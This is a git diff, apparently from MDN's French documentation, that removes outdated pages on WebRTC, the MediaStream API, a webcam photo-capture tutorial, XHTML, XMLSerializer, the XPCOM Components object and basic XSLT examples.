{{domxref("DeviceLightEvent")}}{{CompatNo()}}{{CompatNo()}}{{CompatGeckoMobile("15.0")}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
-
-

Notes relatives à Gecko

-

L'événement {{event("devicelight")}} est implémenté et activé par défaut via un paramètre dans Firefox Mobile pour Android (15.0) et dans Firefox OS (B2G). Une implémentation pour un navigateur de bureau sur Mac OS X est également disponible à partir de Gecko 22.0 {{geckoRelease("22.0")}}. Le support pour Windows 7 est en cours de progression (voir {{bug(754199)}}).

-

Voir aussi

-
    -
  • {{domxref("DeviceLightEvent")}}
    • -
  • {{event("devicelight")}}
    • -
diff --git a/files/fr/webrtc/communication-de-pair-a-pair-avec-webrtc/index.html b/files/fr/webrtc/communication-de-pair-a-pair-avec-webrtc/index.html deleted file mode 100644 index 72bd60d899..0000000000 --- a/files/fr/webrtc/communication-de-pair-a-pair-avec-webrtc/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Communication de pair-à-pair avec WebRTC -slug: WebRTC/communication-de-pair-a-pair-avec-WebRTC -translation_of: Web/Guide/API/WebRTC/Peer-to-peer_communications_with_WebRTC ---- -

{{SeeCompatTable}}

-

Les APIs WebRTC sont conçues pour permettre aux applications JavaScript de créer des connexions en temps-réel, avec des canaux audio, vidéo et/ou de données, entre utilisateurs à travers leurs navigateurs ou avec des serveurs supportant le protocole WebRTC. Il autorise aussi navigator.mozGetUserMedia() à accéder au microphone et à la webcam (getUserMedia() est en cours de standardisation par le groupe Media Capture Task, avec les APIs Recording).

-

La principale source des évolutions des spécifications de WebRTC sont les spécifications du W3C WebRTC et getUserMedia, ainsi que différents brouillons de IETF, principalement du groupe de travail rtcweb, mais aussi mmusic, rmcat et quelques autres. Une grande partie de l'implémentation dans Chrome et Firefox est basée sur le code libéré par Google à webrtc.org.

-

NOTE:  Les versions courantes de FlashBlock peuvent bloquer le tag HTML5 <video> par défaut; si c'est le cas, il faut lui dire d'autoriser le contenu de la page, ou désactiver cette option via Tools/Add-ons.

-

Un bon tutoriel sur les fonctionnalités de base de WebRTC peut-être trouvé sur HTML5 Rocks. On pourra trouver sur le site webrtc-landing une série de page de test basique.

-

Il est possible de faire un appel simple de personne à personne  (y compris à ceux utilisant Chrome) à apprtc.appspot.com.

-

Un article de Hacks décrit avec précision ce qu'il se passe dans une connexion RTCPeerConnecion (lien) :

-

Basics of RTCPeerConnection call setup

-

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
WebRTC APIEn cours de définition 
getUserMedia APIEn cours definitionhttp://dev.w3.org/2011/webrtc/editor/getusermedia.html
-

Compatibilité des navigateurs

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de baseOui{{property_prefix("webkit")}}Firefox 22{{CompatNo}}{{CompatNo}}{{CompatNo}}
DataChannelsA partir de Chrome 29Firefox 22{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FontionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support préliminaireVia Chrome (behind flag)Activé sur versions Nightly et Aurora{{CompatNo}}{{CompatNo}}{{CompatNo}}
DataChannels{{CompatUnknown}}Activé sur versions Nightly et Aurora{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-

 

diff --git a/files/fr/webrtc/index.html b/files/fr/webrtc/index.html deleted file mode 100644 index 7bff67c30f..0000000000 --- a/files/fr/webrtc/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: WebRTC -slug: WebRTC -tags: - - WebRTC -translation_of: Web/API/WebRTC_API -translation_of_original: WebRTC ---- -

Le RTC de WebRTC est synonyme de communications en temps réel, la technologie qui permet streaming audio / vidéo et le partage de données entre les clients de navigateur (pairs). Comme ensemble de normes, WebRTC permet à n'importe quel navigateur d'avoir la possibilité de partager les données d'application et d'effectuer des téléconférences entre pairs, sans la nécessité d'installer des plug-ins ou logiciels tiers.

- -
 
- -
Les composants WebRTC sont accessibles avec JavaScript API. Sont actuellement en développement les flux de réseau API, ce qui représente un fichier audio ou un flux de données vidéo, et l'API de connexion, qui permet à deux ou plusieurs utilisateurs de communiquer par l'intermédiaire des navigateurs. Également en cours de développement : une API qui permet la communication par DataChannel d'autres types de données pour les jeux en temps réel, chat texte, transfert de fichiers, et ainsi de suite.
- -
 
- -
Envie de découvrir WebRTC ? Suivre cette introduction vidéo ! (en Anglais)
- -
 
- -
 
- - - - - - - - -
-

Documentation de WebRTC

- -
-
Introduction à WebRTC
-
Un guide d'introduction pour comprendre ce qu'est WebRTC et comment il fonctionne.
-
Utilisation de l'API de flux réseau
-
Un guide d'utilisation de l'API de flux réseau pour diffuser de l'audio et de la vidéo.
-
Communications de pair-à-pair avec WebRTC
-
Comment effectuer des communications pair-à-pair en utilisant l'Api WebRTC.
-
Prendre des photos avec la webcam
-
 
-
MediaStream API
-
L'API qui permet la production et la manipulation d'objets de flux multimédia.
-
getUserMedia ()
-
La fonction de navigation qui permet d'accéder aux périphériques du système des médias.
-
- -

Afficher tout ...

- 		-

Obtenir de l'aide de la communauté

- -

Lors du développement de sites et d'applications Web qui tirent parti des technologies WebRTC, il peut être utile d'engager la conversation avec les autres.

- -
    -
  • Consultez le forum au sujet des Médias: {{DiscussionList ("dev-média", "mozilla.dev.media")}}
    • -
- -
    -
  • Posez votre question sur le canal IRC de Mozilla médias: # media
    • -
- -

N'oubliez pas la netiquette...

- - - - - -

Ressource

- -
    -
  • {{spec("http://www.w3.org/TR/webrtc/", "WebRTC specification", "wd")}}
    • -
-
- -

 

diff --git a/files/fr/webrtc/introduction/index.html b/files/fr/webrtc/introduction/index.html deleted file mode 100644 index 0b14f417fb..0000000000 --- a/files/fr/webrtc/introduction/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Introduction à WebRTC -slug: WebRTC/Introduction -translation_of: Web/API/WebRTC_API/Session_lifetime ---- -
-

WebRTC vous permet de faire de la communication pair-à-pair dans une application du navigateur.

-
-

Etablir la connexion

-

La connexion initiale entre les pairs doit être accomplie par un service d'application qui se charge de la découverte des utilisateurs, communication, translation d'adresse réseau (NAT) avec les flux de données.

-

Signalisation

-

La signalisation est le mécanisme par lequel les pairs envoient des messages de contrôle à chacun dans le but d'établir le protocole de communication, le canal et la méthode. Ceux-ci ne sont pas spécifiés dans le standard WebRTC. En fait, le dévelopeur peut choisir n'importe quel protocole de message (comme SIP ou XMPP), et n'importe quel canal de communication duplex (comme WebSocket ou XMLHttpRequest) en tandem avec une API de connexion persistante à un serveur (comme l'API Google Channel) pour AppEngine.

-

Transmission

-

getUserMedia

-

Objet LocalMediaStream

-

Reception

-

Le support WebRTC dans Firefox est caché derrière une préférence. Allez à about:config et positionnez 'media.navigator.enabled' à 'true'.

-
-

Il y a des fichiers de tests dans les sources pour vous donner une idée sur ce qui fonctionne. Voir: dom/media/tests/local_video_test.html. Essayez aussi la demo de service d'appel, sa page source, et son serveur source.

-
-

 

diff --git a/files/fr/webrtc/mediastream_api/index.html b/files/fr/webrtc/mediastream_api/index.html deleted file mode 100644 index 6722bc8885..0000000000 --- a/files/fr/webrtc/mediastream_api/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: API MediaStream -slug: WebRTC/MediaStream_API -tags: - - API - - Audio - - Media - - Overview -translation_of: Web/API/Media_Streams_API ---- -
{{DefaultAPISidebar("Media Capture and Streams")}}
- -

L'API Processing MediaStream, souvent appelée Media Stream API ou Stream API, est la partie de WebRTC décrivant un flux de données audio ou vidéo, les méthodes pour les manipuler, les contraintes associées au type de données, les erreurs et succès des callbacks avec les données asynchrones, et les évènements déclenchés durant le processus.

- -

Concepts de base

- -

L'API est basée sur la manipulation de l'objet {{domxref("MediaStream")}} représentant un flux de données audio ou vidéo. Typiquement, un {{domxref("MediaStream")}} est une simple chaine URL qui peut être utilisée pour référencer une donnée stockée dans un {{domxref("File")}} DOM, ou un objet {{domxref("Blob")}} crée avec {{domxref("window.URL.createObjectURL()")}}, tel que décrit dans cette vidéo.

- -

Un {{domxref("MediaStream")}} consiste en zéro ou plus objets {{domxref("MediaStreamTrack")}}, représentant différentes pistes audio ou vidéos. Chaque {{domxref("MediaStreamTrack")}} peut avoir un ou plusieurs canal. Le canal représente la plus petite unité d'un flux média, tel un signal audio d'un haut-parleur, séparé en gauche et droite sur une piste audio en stéréo.

- -

Les objets {{domxref("MediaStream")}} ont une seule entrée et une seule sortie. Un objet {{domxref("MediaStream")}} généré par getUserMedia() est dit local, et sa source d'entrée provient de l'une des caméra ou microphone de l'utilisateur. Un objet {{domxref("MediaStream")}} non local peut représenter un média tel que {{HTMLElement("video")}} ou {{HTMLElement("audio")}}, un flux provenant du réseau et obtenu via l'API WebRTC PeerConnection, ou un flux créé en utilisant l'API Web Audio {{domxref("MediaStreamAudioSourceNode")}}. La sortie d'un objet {{domxref("MediaStream")}} est liée à un consommateur. Elle peut-être un élément média tel que {{HTMLElement("audio")}} ou {{HTMLElement("video")}}, l'API WebRTC PeerConnection ou l'API Web Audio {{domxref("MediaStreamAudioDestinationNode")}}.

- -

Interfaces

- -

Dans ces articles de référence, on trouvera les informations fondamentales sur les différentes interfaces qui composent l'API Media Capture and Streams API.

- -
-
    -
  • {{domxref("BlobEvent")}}
    • -
  • {{domxref("CanvasCaptureMediaStreamTrack")}}
    • -
  • {{domxref("InputDeviceInfo")}}
    • -
  • {{domxref("MediaDeviceKind")}}
    • -
  • {{domxref("MediaDeviceInfo")}}
    • -
  • {{domxref("MediaDevices")}}
    • -
  • {{domxref("MediaStream")}}
    • -
  • {{domxref("MediaStreamConstraints")}}
    • -
  • {{domxref("MediaStreamEvent")}}
    • -
  • {{domxref("MediaStreamTrack")}}
    • -
  • {{domxref("MediaStreamTrackEvent")}}
    • -
  • {{domxref("MediaTrackCapabilities")}}
    • -
  • {{domxref("MediaTrackConstraints")}}
    • -
  • {{domxref("MediaTrackSettings")}}
    • -
  • {{domxref("MediaTrackSupportedConstraints")}}
    • -
  • {{domxref("NavigatorUserMedia")}}
    • -
  • {{domxref("NavigatorUserMediaError")}}
    • -
  • {{domxref("OverconstrainedError")}}
    • -
  • {{domxref("URL")}}
    • -
-
- -

Les premières versions de la spécification pour Media Capture and Streams API incluaient des interfaces séparées AudioStreamTrack et VideoStreamTrack, chacunes basées sur {{domxref("MediaStreamTrack")}} et qui représentaient des types de flux différents. Celles-ci n'existent plus et il faut utiliser MediaStreamTrack directement à la place.

- -

Évènements

- -
-
    -
  • {{event("addtrack")}}
    • -
  • {{event("ended")}}
    • -
  • {{event("muted")}}
    • -
  • {{event("overconstrained")}}
    • -
  • {{event("removetrack")}}
    • -
  • {{event("started")}}
    • -
  • {{event("unmuted")}}
    • -
-
- -

Guides et tutorials

- -

Les articles qui suivent fournissent des manuels et guides pour utiliser cette API et réaliser des certaines tâches avec elle.

- -

{{LandingPageListSubpages}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("api.MediaStream")}}

- -

Voir aussi

- -
    -
  • WebRTC - la page d'introduction à l'API
    • -
  • {{domxref("mediaDevices.getUserMedia()")}}
    • -
  • Prendre des clichés avec WebRTC : un tutoriel/une démonstration sur l'utilisation de getUserMedia().
    • -
diff --git a/files/fr/webrtc/prendre_des_photos_avec_la_webcam/index.html b/files/fr/webrtc/prendre_des_photos_avec_la_webcam/index.html deleted file mode 100644 index 854d0dd3f7..0000000000 --- a/files/fr/webrtc/prendre_des_photos_avec_la_webcam/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Prendre des photos avec la webcam -slug: WebRTC/Prendre_des_photos_avec_la_webcam -tags: - - API - - Avancé - - WebRTC - - getusermedia -translation_of: Web/API/WebRTC_API/Taking_still_photos ---- -

Introduction et demo

-

Ceci est un tutoriel rapide pour apprendre comment accéder à la caméra sur votre ordinateur et prendre des photos avec. Vous pouvez voir le code final en action dans JSFiddle. Il y a aussi une version plus avancée pour charger des photos sur imgur en JavaScript, disponible en code source sur GitHub ou en demo.

-

Les balises HTML

-

La première chose dont vous avez besoin pour accéder à la webcam en utilisant WebRTC est un élément {{HTMLElement("video")}} et un élément {{HTMLElement("canvas")}} dans la page. L'élément video reçoit un flux de WebRTC et l'élément canvas est nécessaire pour capture l'image de la vidéo. Nous ajoutons aussi une image qui sera par la suite remplacée par la capture de la webcam.

-
<video id="video"></video>
-<button id="startbutton">Prendre une photo</button>
-<canvas id="canvas"></canvas>
-<img src="http://placekitten.com/g/320/261" id="photo" alt="photo">
-
-

Le script complet

-

Voice le JavaScript complet en un seul morceau. Nous allons expliquer chaque section en détail ci-après.

-
(function() {
-
-  var streaming = false,
-      video        = document.querySelector('#video'),
-      cover        = document.querySelector('#cover'),
-      canvas       = document.querySelector('#canvas'),
-      photo        = document.querySelector('#photo'),
-      startbutton  = document.querySelector('#startbutton'),
-      width = 320,
-      height = 0;
-
-  navigator.getMedia = ( navigator.getUserMedia ||
-                         navigator.webkitGetUserMedia ||
-                         navigator.mozGetUserMedia ||
-                         navigator.msGetUserMedia);
-
-  navigator.getMedia(
-    {
-      video: true,
-      audio: false
-    },
-    function(stream) {
-      if (navigator.mozGetUserMedia) {
-        video.mozSrcObject = stream;
-      } else {
-        var vendorURL = window.URL || window.webkitURL;
-        video.src = vendorURL.createObjectURL(stream);
-      }
-      video.play();
-    },
-    function(err) {
-      console.log("An error occured! " + err);
-    }
-  );
-
-  video.addEventListener('canplay', function(ev){
-    if (!streaming) {
-      height = video.videoHeight / (video.videoWidth/width);
-      video.setAttribute('width', width);
-      video.setAttribute('height', height);
-      canvas.setAttribute('width', width);
-      canvas.setAttribute('height', height);
-      streaming = true;
-    }
-  }, false);
-
-  function takepicture() {
-    canvas.width = width;
-    canvas.height = height;
-    canvas.getContext('2d').drawImage(video, 0, 0, width, height);
-    var data = canvas.toDataURL('image/png');
-    photo.setAttribute('src', data);
-  }
-
-  startbutton.addEventListener('click', function(ev){
-      takepicture();
-    ev.preventDefault();
-  }, false);
-
-})();
-

Les explications pas à pas.

-

Voici ce qui se passe.

-

Fonction anonyme

-
(function() {
-
-  var streaming = false,
-      video        = document.querySelector('#video'),
-      cover        = document.querySelector('#cover'),
-      canvas       = document.querySelector('#canvas'),
-      photo        = document.querySelector('#photo'),
-      startbutton  = document.querySelector('#startbutton'),
-      width = 320,
-      height = 0;
-

Afin d'éviter les variables globales, on encapsule le script dans une fonction anonyme. Nous capturons les éléments du HTML dont nous avons besoin et nous définissons une largeur de vidéo à 320 et une hauteur à 0. La hauteur appropriée sera calculée plus tard.

-
-

À l'heure actuelle, il y a une différence dans les tailles de vidéo offertes par getUserMedia. Firefox Nightly utilise une résolution de 352x288 alors que Opera et Chrome utilisent une résolution de 640x400. Celà changera dans le futur, mais redimensionner avec le rapport comme nous le faisons nous épargnera des mauvaises surprises.

-
-

Obtenir la vidéo

-

Maintenant, nous devons récupérer la vidéo de la webcam. Pour l'instant c'est préfixé par les différents navigateurs, nous devons donc tester quelle forme est supportée:

-
  navigator.getMedia = ( navigator.getUserMedia ||
-                         navigator.webkitGetUserMedia ||
-                         navigator.mozGetUserMedia ||
-                         navigator.msGetUserMedia);
-

Nous demandons au navigateur de nous donner la vidéo sans le son et de récupérer le flux dans une fonction callback:

-
  navigator.getMedia(
-    {
-      video: true,
-      audio: false
-    },
-    function(stream) {
-      if (navigator.mozGetUserMedia) {
-        video.mozSrcObject = stream;
-      } else {
-        var vendorURL = window.URL || window.webkitURL;
-        video.src = vendorURL.createObjectURL(stream);
-      }
-      video.play();
-    },
-    function(err) {
-      console.log("An error occured! " + err);
-    }
-  );
-

Firefox Nightly nécessite de définir la propriété mozSrcObject de l'élément vidéo pour pouvoir le jouer; pour les autres navigateurs, définissez l'attribut src. Alors que Firefox peut utiliser les flux directement, Webkit et Opera ont besoin de créer un objet URL. Cela sera standardisé dans un futur proche.

-

Redimensionner la vidéo

-

Ensuite nous devons redimensionner la vidéo aux bonnes dimensions.

-
  video.addEventListener('canplay', function(ev){
-    if (!streaming) {
-      height = video.videoHeight / (video.videoWidth/width);
-      video.setAttribute('width', width);
-      video.setAttribute('height', height);
-      canvas.setAttribute('width', width);
-      canvas.setAttribute('height', height);
-      streaming = true;
-    }
-  }, false);
-

Nous nous abonnons à l'évènement canplay de la vidéo et lisons ses dimensions en utilisant videoHeight et videoWidth. Elles ne sont pas disponibles de manière fiable avant que l'évènement ne soit déclenché. Nous positionnons streaming à true pour faire cette vérification une seule fois vu que l'évènement canplay se déclenchera à répétition.

-

C'est tout ce qu'il faut pour jouer la vidéo.

-

Prendre une photo

-

Maintenant nous devons capturer la photo en utilisant le canvas. Nous assignons un gestionaire d'événements au bouton de démarrage pour appeler la fonction takepicture function.

-
  startbutton.addEventListener('click', function(ev){
-      takepicture();
-    ev.preventDefault();
-  }, false);
-

Dans cette fonction nous re-assignons la taille du canvas à la taille de la vidéo, ce qui l'efface,  et nous obtenons une image de la vidéo que nous copions sur le canvas. Ensuite nous devons transformer les données du canvas en une URI de données avec un entête PNG, et positionner l'attribut src de la photo à cette URL.

-
  function takepicture() {
-    canvas.width = width;
-    canvas.height = height;
-    canvas.getContext('2d').drawImage(video, 0, 0, width, height);
-    var data = canvas.toDataURL('image/png');
-    photo.setAttribute('src', data);
-  }
-
-})();
-

C'est tout ce qu'il faut pour afficher un flux de la webcam et en prendre une photo, que ce soit sur Chrome, Opera ou Firefox.

-

Support

-

Actuellement, l'accès à la caméra via WebRTC est supporté dans Chrome, Opera et Firefox Nightly 18. Activer WebRTC dans Firefox Nightly demande que vous positionnez une valeur dans la configuration:

-
    -
  • Entrez "about:config" dans la barre d'adresse et confirmez les changements
    • -
  • Trouver l'entrée "media.navigator.enabled" et positionnez la à true
    • -
diff --git a/files/fr/xhtml/index.html b/files/fr/xhtml/index.html deleted file mode 100644 index 777167cf9f..0000000000 --- a/files/fr/xhtml/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: XHTML -slug: XHTML -tags: - - Encodage - - Glossaire - - XHTML -translation_of: Glossary/XHTML ---- -

HTML peut voyager sur le réseau vers un navigateur soit en syntaxe HTML soit en syntaxe XML appelée XHTML.

- -

HTML5 et HTML/XHTML

- -

La norme HTML5 définit ces deux syntaxes. Le type MIME (envoyé dans l'en-tête HTTP Content-Type) indique le choix de la syntaxe : pour XHTML, le type MIME sera application/xhtml+xml, sinon text/html.

- -

Cet exemple montre un document HTML et un document XHTML inclus dans l'en-tête HTTP :

- -

Document HTML

- -
HTTP/1.1 200 OK
-Content-Type: text/html
-
-<!DOCTYPE html>
-<html lang=en>
-  <head>
-    <meta charset=utf-8>
-    <title>HTML</title>
-  </head>
-  <body>
-    <p>Je suis un document HTML</p>
-  </body>
-</html>
- -

Document XHTML

- -
HTTP/1.1 200 OK
-Content-Type: application/xhtml+xml
-
-<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">
-  <head>
-    <title>XHTML</title>
-  </head>
-  <body>
-    <p>Je suis un document XHTML</p>
-  </body>
-</html>
-
- -

Type MIME contre DOCTYPE

- -

Avant HTML5, les deux spécifications distinctes définissaient les deux syntaxes ( HTML 4.01 et XHTML 1.0 ). Selon la norme XHTML1, vous pouvez utiliser XHTML en déclarant un DOCTYPE spécial. Cependant, aucun navigateur n'a jamais implémenté cela, et la norme HTML5 a inversé la décision. Si votre page est envoyée en tant que texte/html, vous n'utilisez pas XHTML.

- -

Au lieu de cela, le type MIME correct doit être présent dans l'en-tête HTTP Content-Type. Si vous ne mettez que le type MIME dans une balise meta HTML comme = <meta http-equiv...>, il sera ignoré et traité comme du texte/html.

- -

Si vous diffusez vos pages en tant que texte/html et que vous croyez que vous écrivez XHTML, vous pouvez rencontrer plusieurs problèmes, comme décrit dans ces articles :

- - - -

Prise en charge

- -

La plupart des navigateurs prennent actuellement en charge XHTML, y compris Firefox, Chrome, Safari, Opera et Internet Explorer (depuis IE 9). (Les navigateurs Internet Explorer 8 et plus anciens affichent à la place une boîte de dialogue de téléchargement pour les types de fichiers inconnus lorsqu'ils voient un document XHTML avec le type MIME XHTML correct.)

- -

Sachez également que de nombreuses bibliothèques et outils de développement {{Glossary("JavaScript")}} populaires ont un support limité ou inexistant pour XHTML.

- -

Différences avec HTML

- -

Voir Utilisation correcte de CSS et JavaScript dans les documents XHTML pour une liste partielle des différences entre HTML et XHTML.

- -

Outils

- - - -

Voir aussi

- - - -

Tous les outils…

diff --git a/files/fr/xmlserializer/index.html b/files/fr/xmlserializer/index.html deleted file mode 100644 index feb76df6e0..0000000000 --- a/files/fr/xmlserializer/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: XMLSerializer -slug: XMLSerializer -tags: - - XML -translation_of: Web/API/XMLSerializer ---- -

 

-

XMLSerializer sert à convertir des sous-arborescence DOM ou des documents DOM en texte. XMLSerializer est accessible aux scripts sans privilèges.

-
-

XMLSerializer sert le plus souvent aux applications et extensions basées sur la plateforme Mozilla. Bien qu'il soit utilisable par les pages Web, il ne fait partie d'aucun standard et son niveau de support dans les autres navigateurs est inconnu.

-
-

Méthodes

-
-
- serializeToString
-
- Retourne la sous-arborescence sérialisée sous la forme d'une chaîne de caractères
-
- serializeToStream
-
- La sous-arborescence débutant par l'élément spécifié est sérialisée en un flux d'octets en utilisant l'encodage de caractères indiqué.
-
-

Exemple

-
 var s = new XMLSerializer();
- var d = document;
- var str = s.serializeToString(d);
- alert(str);
-
-
 var s = new XMLSerializer();
- var stream = {
-   close : function()
-   {
-     alert("Flux fermé");
-   },
-   flush : function()
-   {
-   },
-   write : function(string, count)
-   {
-     alert("'" + string + "'\n nb d'octets : " + count + "");
-   }
- };
- s.serializeToStream(document, stream, "UTF-8");
-
-

Voir également

- diff --git a/files/fr/xpcom/liaisons_de_langage/objet_components/index.html b/files/fr/xpcom/liaisons_de_langage/objet_components/index.html deleted file mode 100644 index 6389b3393d..0000000000 --- a/files/fr/xpcom/liaisons_de_langage/objet_components/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Objet Components -slug: XPCOM/Liaisons_de_langage/Objet_Components ---- -

L'objet Components est l'objet au travers duquel les fonctionnalités XPConnect sont reflétées en JavaScript. Il s'agit en réalité d'une instance native de l'interface nsIXPCComponents qui est reflétée en JavaScript comme un objet de niveau global à l'aide d'XPConnect.

- -

Certaines propriétés de Components ont besoin de privilèges élevés et peuvent ne pas fonctionner dans des pages Web.

- -

L'objet Components dispose des membres suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MembreDescription
classestableau de classes par ContractID
classesByIDtableau de classes par CID
Constructorconstructeur de constructeur de composants
Exceptionconstructeur d'exception XPConnect
IDconstructeur de nsID XPCOM
interfacestableau d'interfaces par nom d'interface
interfacesByIDtableau d'interfaces par IID
isSuccessCodefonction pour déterminer si un résultat donné est un code de réussite
lastResultcode de résultat de l'appel XPConnect le plus récent
managerle gestionnaire global de composants XPCOM
resultstableau des codes de résultats connus par nom
returnCoderésultat en attente pour l'appel courant
stackpile d'appels JavaScript courante
utilsdonne accès à différentes fonctionnalités utiles
utils.evalInSandboxLance du code JavaScript dans une sandbox, généralement pour lancer du code à privilèges restreints.
utils.forceGC Force un cycle de garbage collection.
utils.getWeakReference Obtient une référence faible à l'objet passé.
utils.import Charge un module JS dans le script courant, sans partager de visibilité.
utils.lookupMethodExamine une méthode ou propriété native (c'est-à-dire déclaré dans l'interface) d'un objet XPCOM. Sert à la même chose que XPCNativeWrapper.
utils.reportErrorRapporte un objet d'erreur JavaScript dans la Console d'erreurs.
utils.Sandbox -

Crée des objets de sandbox pout utiliser avec evalInSandbox.

-
- -

 

- -
-
 
-
utils
-
provides access to several useful features
-
-
-
utils.atline
-
Provides access to the value of the atline property in the JavaScript environment.
-
utils.createObjectIn
-
Creates a new object in the scope of the specified object's compartment. May only be called from JavaScript code.
-
utils.evalInSandbox
-
Runs JavaScript code in a sandbox, usually used to run code with restricted privileges.
-
utils.forceGC
-
Forces a garbage collection cycle.
-
utils.getGlobalForObject
-
Returns the global object with which a given object is associated (through its prototype chain at birth, for example).
-
utils.getWeakReference
-
Gets a weak reference for the object passed in.
-
utils.import
-
Loads a JavaScript module into the current script, without sharing a scope.
-
utils.lookupMethod
-
Looks up a native (i.e. declared in the interface) method or property of an XPCOM object. Serves the same purpose as XPCNativeWrapper.
-
utils.makeObjectPropsNormal
-
Ensures that all functions come from the specified object's scope, and aren't cross-compartment wrappers. May only be called from JavaScript code.
-
- -
-
utils.methodjit Obsolète depuis Gecko 24.0
-
Provides access to the value of the methodjit property in the JavaScript environment.
-
- -
-
utils.methodjit_always Obsolète depuis Gecko 24.0
-
Provides access to the value of the methodjit_always property in the JavaScript environment.
-
- -
-
utils.relimit
-
Provides access to the value of the relimit property in the JavaScript environment.
-
- -
-
utils.reportError
-
Reports a JavaScript Error object to the Error Console.
-
utils.schedulePreciseGC
-
Requests that garbage collection occur sometime in the future when no JavaScript code is running; accepts a callback function to receive notification once collection is complete.
-
utils.setGCZeal()
-
Sets the GC zeal level for the context.
-
- -
-
utils.strict
-
Provides access to the value of the strict property in the JavaScript environment.
-
- -
-
utils.werror
-
Provides access to the value of the werror property in the JavaScript environment.
-
- -
-
utils.Sandbox
-
Creates sandbox objects for use with evalInSandbox.
-
utils.xml
-
Provides access to the value of the xml property in the JavaScript environment.
-
-
-
- -

 

- -

 

- -

Components object (en)

diff --git a/files/fr/xpcom/reference/standard_xpcom_components/index.html b/files/fr/xpcom/reference/standard_xpcom_components/index.html deleted file mode 100644 index 530482fc72..0000000000 --- a/files/fr/xpcom/reference/standard_xpcom_components/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Standard XPCOM components -slug: XPCOM/Reference/Standard_XPCOM_components ---- -

Il ya un certain nombre de composants fournis dans la mise en œuvre de la norme XPCOM; ceux-ci sont comme suit.

- -

There are no subpages at this time.

diff --git "a/files/fr/xslt_dans_gecko/diff\303\251rences_entre_les_navigateurs/index.html" "b/files/fr/xslt_dans_gecko/diff\303\251rences_entre_les_navigateurs/index.html" deleted file mode 100644 index 5b5a0c99c3..0000000000 --- "a/files/fr/xslt_dans_gecko/diff\303\251rences_entre_les_navigateurs/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Différences entre les navigateurs -slug: XSLT_dans_Gecko/Différences_entre_les_navigateurs -translation_of: Web/API/XSLTProcessor/Browser_Differences ---- -

    -
  1. Introduction
    2. -
  2. Exemple basique
    3. -
  3. Génération de HTML
    4. -
  4. Différences entre les navigateurs
    5. -
  5. Ressources
    6. -

- -

Différences entre les navigateurs

- -
    -
  • Netscape 7.x (toutes plateformes confondues) et Internet Explorer 6 (Windows) support ent la recommandation XSLT 1.0 (en) du W3C.
    • -
  • IE 5.0 et 5.5 (Windows) ne supportent que le brouillon de travail de XSLT, et ne sont donc pas compatibles avec les feuilles de style XSLT 1.0.
    • -
  • Netscape 6.x ne supporte que partiellement XSLT 1.0.
    • -
- -

{{PreviousNext("XSLT dans Gecko:Génération de HTML", "XSLT dans Gecko:Ressources")}}

diff --git a/files/fr/xslt_dans_gecko/exemple_basique/index.html b/files/fr/xslt_dans_gecko/exemple_basique/index.html deleted file mode 100644 index 8d78422777..0000000000 --- a/files/fr/xslt_dans_gecko/exemple_basique/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Exemple basique -slug: XSLT_dans_Gecko/Exemple_basique -translation_of: Web/API/XSLTProcessor/Basic_Example ---- -

    -
  1. Introduction
    2. -
  2. Exemple basique
    3. -
  3. Génération de HTML
    4. -
  4. Différences entre les navigateurs
    5. -
  5. Ressources
    6. -

- -

Exemple basique

- -

Ce premier exemple présente les bases de l'utilisation d'une transformation XSLT dans un navigateur. L'exemple utilise un document XML qui contient des informations (titre, liste d'auteurs et corps de texte) à propos d'un article pour en tirer une version lisible par un humain.

- -

La figure 1 montre le code source de l'exemple XSLT. Le document XML (exemple.xml) contient les informations à propos de l'article. En utilisant l'instruction de traitement ?xml-stylesheet?, il est lié à la feuille de style XSLT (exemple.xsl) via son attribut href.

- -

Une feuille de style XSLT débute par l'élément xsl:stylesheet, qui contient tous les modèles utilisés pour créer le résultat final. L'exemple de la figure 1 possède deux modèles - un qui s'applique au nœud racine et un aux nœuds Author. Le modèle correspondant au nœud racine produit en sortie le titre de l'article puis déclenche le traitement de tous les autres modèles (via apply-templates) correspondant aux nœuds Author qui sont les descendants du nœud Authors.

- -

Figure 1 : exemple XSLT simple

- -

Document XML (exemple.xml) :

- -
  <?xml version="1.0"?>
-  <?xml-stylesheet type="text/xsl" href="exemple.xsl"?>
-  <Article>
-    <Title>Mon article</Title>
-    <Authors>
-      <Author>M. Foo</Author>
-      <Author>M. Bar</Author>
-    </Authors>
-    <Body>Ceci est le texte de mon article.</Body>
-  </Article>
-
- -

Feuille de style XSL (exemple.xsl) :

- -
  <?xml version="1.0"?>
-  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
-
-    <xsl:output method="text"/>
-
-    <xsl:template match="/">
-      Article - <xsl:value-of select="/Article/Title"/>
-      Auteurs : <xsl:apply-templates select="/Article/Authors/Author"/>
-    </xsl:template>
-
-    <xsl:template match="Author">
-      - <xsl:value-of select="." />
-    </xsl:template>
-
-  </xsl:stylesheet>
-
- -

Sortie dans le navigateur :

- -
  Article - Mon article
-  Auteurs :
-  - M. Foo
-  - M. Bar
-
- -

{{PreviousNext("XSLT dans Gecko", "XSLT dans Gecko:Génération de HTML")}}

